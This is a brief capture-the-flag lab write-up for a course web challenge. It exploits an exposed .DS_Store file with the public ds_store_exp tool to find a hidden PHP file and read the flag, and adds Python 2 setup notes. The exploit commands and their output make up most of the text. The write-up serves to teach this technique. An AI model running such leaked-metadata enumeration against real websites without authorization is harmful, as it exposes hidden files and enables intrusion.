Simple Web 0x02(Lab - .DS_Store)

tags: NTUSTWS CTF Web

Challenge: http://h4ck3r.quest:9001/

Exploit - .DS_Store

Clone lijiejie/ds_store_exp

1 2 3 4 5 6 7 8

$ git clone https://github.com/lijiejie/ds_store_exp.git $ python ds_store_exp.py http://h4ck3r.quest:9001/.DS_Store [200] http://h4ck3r.quest:9001/.DS_Store [200] http://h4ck3r.quest:9001/super_secret_meowmeow.php [200] http://h4ck3r.quest:9001/index.php $ cd h4ck3r.quest_9001 $ cat super_secret_meowmeow.php FLAG{.DS_Store is so annoying lmao}

• Note that, must install python 2, requests, ds_store and modify queue(import queue→import Queue as queue)

    $ conda create --name py2.7 python=2.7
    $ conda install -c auto ds_store
    $ conda install -c anaconda requests
  

Reference

python-no-module-named-queue